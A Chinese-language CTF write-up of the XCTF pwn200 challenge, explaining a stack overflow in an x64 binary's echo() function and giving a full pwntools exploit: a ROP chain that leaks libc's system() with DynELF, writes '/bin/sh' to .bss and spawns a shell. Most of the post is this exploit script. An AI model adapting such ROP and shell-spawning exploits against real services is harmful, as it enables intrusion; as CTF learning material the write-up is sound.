0x00:
XCTF開賽了,只看了pwn,這次還比較有意思,有x86 x64 arm mips 多種cpu構架的pwn。自己只搞出了pwn200
0x01:
基本信息:
x64 動態鏈接 有調試符號(怪不得是最簡單的...)
開啟的保護如圖可以看到。
運行下,隨便給點輸入:
經過分析,發現問題出在echo()函數
而且這個bof的payload大概的格式:
payload = "A"*24+"BBBBBB"+"\x00\x00"
0x02:
思路就是 利用構造的ROP鏈先去 leak 遠程服務器上libc里的system地址,然后利用ROP鏈再次把 "/bin/sh" 和system()地址 寫入程序的.bss段,最后再次利用ROP鏈去執行 system("/bin/sh")
但是要注意:x64的函數調用 參數傳遞順序是 RDI RSI RDX RCX R8 R9 之后的參數才用棧傳遞。
在IDA中看下
我們可以利用 pwntools的 去得到程序中write()和read()這些系統調用的got,用來構造ROP。這時候要使用的是 通用型的ropgads,因為源程序中並沒有一些輔助性的東西。
在初始化libc的時候,這些指令可以為我們所用來構造ROP,設置好參數。
因為也沒有給libc,所以要leak libc中的函數地址,pwntools的dynELF很好用。
0x03:
exp 如下
#!/usr/bin/env python # coding=utf-8 # author:muhe # http://www.cnblogs.com/0xmuhe/ from pwn import * elf = ELF('./pwn200') p=remote('127.0.0.1',6666) #p = remote('180.76.178.48',6666) #p = process('./pwn200') addr1=0x40089A addr2=0x400880 main_addr = 0x4007CD ppppr=0x40089c bss_addr=0x601078 got_write = elf.got['write'] got_read = elf.got['read'] flag=True def leak(address): global flag junk = "A"*24 p1="" p1+=junk p1+=p64(ppppr) p1+=p64(addr1) p1+=p64(0)+p64(1)+p64(got_write)+p64(8)+p64(address)+p64(1) p1+=p64(addr2) p1+="\x00"*56 p1+=p64(main_addr) p.recvuntil('F\n') p.send(p1) #raw_input() if flag: data = p.recv(8) flag=False else: p.recv(0x1b) data = p.recv(8) print "%#x => %s" % (address, (data or '').encode('hex')) return data d = DynELF(leak, elf=ELF('./pwn200')) system_addr = d.lookup('system','libc') print "system_addr=" + hex(system_addr) #----------------write /bin/sh to .bss-----------------# junk = "A"*24 payload="" payload+=junk payload+=p64(ppppr) payload+=p64(addr1) payload+=p64(0)+p64(1)+p64(got_read)+p64(24)+p64(bss_addr)+p64(0) # addr_junk_rbx_rbp_r12_r13_r14_r15 #order:RDI RSI RDX RCX R8 R9 payload+=p64(addr2) payload+="\x00"*56 payload+=p64(main_addr) p.recvuntil('F\n') print "payload 1 ...." #raw_input() p.send(payload) sleep(1) p.send("AAAABBBB") p.send("/bin/sh\0") p.send(p64(system_addr)) #raw_input() print "sent .." #raw_input() sleep(1) #-----------------get shell --------------------------# junk = "A"*24 payload2="" payload2+=junk payload2+=p64(ppppr) payload2+=p64(addr1) payload2+=p64(0)+p64(1)+p64(bss_addr+16)+p64(1)+p64(1)+p64(bss_addr+8) # addr_junk_rbx_rbp_r12_r13_r14_r15 #order:RDI RSI RDX RCX R8 R9 payload2+=p64(addr2) payload2+="\x00"*56 payload2+=p64(main_addr) p.recvuntil('F\n') #raw_input() print "payload 2 ...." p.send(payload2) print "ok get shell" p.interactive()
打了一波本地
后來遇到個問題,exp打本地,或者是socket搭建起來的都可以打,但是遠程服務器打不了。 - -# 尷尬
0x04:
算是學習了一波吧,有收獲就是好的。